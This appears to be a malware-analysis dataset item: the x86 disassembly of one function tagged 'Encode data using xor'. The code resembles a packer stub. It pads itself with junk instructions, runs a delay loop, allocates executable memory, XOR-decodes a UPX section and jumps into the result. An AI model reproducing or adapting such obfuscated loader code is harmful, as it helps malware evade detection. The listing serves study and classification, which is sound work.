Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe4dc1f74
sub edx, 0x88261fa7
sub ecx, edx
popal
and edx, edx
add edx, ecx
mov edx, ecx
mov edi, 0
mov eax, ebx
not esi
add ecx, esi
mov edx, eax
and ecx, ecx
mov ecx, 0x48416d7d
mov ebx, edx
or ecx, esi
mov esi, 0xb22439e1
add esi, esi
add edi, 1
not esi
mov ecx, esi
sub esi, ecx
cmp edi, 0x100ff13
jne 0x47afd2
and ecx, esi
sub esi, ecx
add esi, 1
cmp edi, 0x100ff13
je 0x47b01d
mov edx, 0
mov ecx, dword [edx]
or esi, ecx
sub ecx, 0x59bc3e39
add ecx, ecx
or edx, edx
mov ebx, 0x47ada2
mov edi, 0x6d08e1df
sub ecx, 1
or edx, edi
mov eax, 0x47af96
add edx, 0x7a00a868
mov ecx, edi
mov esi, dword [ebx]
mov ecx, 0xef680b9f
add edi, 0xdae4c5f9
add ecx, 1
and esi, 0xff
mov edi, edx
or ecx, ecx
xor dword [eax], esi
add edi, ecx
sub edi, 0x78cc297d
sub ecx, 0x1a4e3720
inc eax
dec edi
mov edx, 0x3d92e7f
dec ecx
add ebx, 1
add ecx, edi
or ecx, edx
cmp eax, entry0
jl 0x47b048
add ecx, 0x93792572
add ecx, 0x89bb942
add ecx, edi
not edi
or ecx, edi
add edx, ecx
sub edx, 0x4c081b56
not edx
mov edi, 0x47af9a
and edx, esi
sub esi, edx
mov edi, dword [edi]
or esi, ebx
add ecx, ecx
mov edi, dword [edi]
add ecx, ebx
mov esi, 0x57a51af4
push edi
add edx, 0x87a5be1c
mov esi, ecx
mov edi, 0x47af96
sub edx, 0x705b4889
mov edx, 0xcc5ce491
mov edi, dword [edi]
mov esi, ebx
add ecx, 1
mov edi, dword [edi]
or esi, edx
mov esi, ecx
push 0x47af9e
sub esi, 0x5dcb230b
sub esi, 0x8e05d551
mov ebx, ecx
call edi
dec ebx
inc ebx
pop edi
add ebx, 0xfdbd4a8b
sub ecx, edx
mov ebx, esi
sub esp, 4
mov dword [esp], 0x47afab
not edx
or ecx, ebx
push eax
mov ecx, esi
sub esi, edx
sub ebx, ecx
call edi
add ebx, 0x12fc0220
and esi, ecx
push 0x40
add ebx, edx
sub edx, esi
inc ebx
sub esp, 4
mov dword [esp], 0x3000
mov ebx, 0xb3f0f45e
sub ecx, 0x235b1fe4
mov esi, ecx
push 0x20000e23
mov edx, ebx
or edx, esi
dec ebx
sub esp, 4
mov dword [esp], 0
add ebx, 0x20572855
or esi, ebx
add ecx, 0x65de9fe9
call eax
not ebx
not edx
add eax, 0x20000da8
dec ecx
sub edx, esi
sub edx, 0xbcffaa92
mov edi, 0x52157f5e
mov esi, ebx
sub edx, ebx
add ebx, 0xbbe935b2
mov dword [eax], edi
inc edx
mov esi, 0xe2fc8631
mov edi, dword [eax]
sub edx, ecx
add esi, ecx
cmp edi, 0x52157f5e
je 0x47b1b5
mov eax, 0
mov ecx, dword [eax]
add edx, ebx
sub esi, 0x3a756d9b
and ebx, ecx
sub esi, ebx
add ebx, ebx
or ebx, ecx
sub ecx, 0x5af1b5f6
mov ecx, edx
mov edi, section.UPX1
and ecx, ecx
mov ecx, edx
mov ecx, 0xdf225f03
mov esi, 0x47ada1
not ecx
add edx, edx
mov eax, 0
add ecx, 0x7d7918e0
sub ecx, 0xb9097ace
inc ecx
mov ebx, 0x47ada2
or ecx, ecx
add edx, 0x141ce301
dec ecx
lea ebx, [eax + ebx]
not ecx
add edx, ecx
mov ebx, dword [ebx]
and edx, edx
sub ecx, edx
and ebx, 0xff
add edx, 0x35b104d9
inc edx
inc eax
add ecx, 1
not ecx
cmp eax, 0x1f4
jne 0x47b234
mov eax, 0
mov ecx, 0xe96e3311
mov edx, ecx
sub ecx, 0x92390a54
sub edx, ecx
mov ecx, 0xfc03859
xor dword [edi], ebx
not ecx
dec ecx
and ecx, ecx
add edi, 2
sub ecx, 0x30ba8bbf
sub edx, ecx
cmp edi, esi
jl 0x47b1f6
inc ecx
mov edx, ecx
mov edx, ecx
or ecx, ecx
sub ecx, 0x70b9ce1b
sub ecx, 0x148962d3
mov ebx, section.UPX1
dec esi
and edi, edi
mov edi, 0xc276259a
mov edx, section.UPX1
mov esi, edi
or esi, esi
inc esi
mov ecx, 0x47ada1
not edi
sub esi, edi
mov eax, 0
add edi, 0x148c6638
and esi, esi
sub esi, 0x4d6a6fa5
mov al, byte [edx]
mov edi, esi
and edi, edi
mov esi, 0x13ed3cd9
mov byte [ebx], al
not edi
inc esi
inc ebx
mov esi, 0xb68ade2d
and edi, esi
add edx, 2
or esi, esi
not edi
dec esi
cmp edx, ecx
jle 0x47b2ab
sub esi, edi
mov edi, 0x369f968e
sub edi, esi
mov ecx, edx
and edx, edx
and edx, edx
sub esp, 4
mov dword [esp], 0x45e6a0
or ecx, edx
or ecx, edx
dec ecx
ret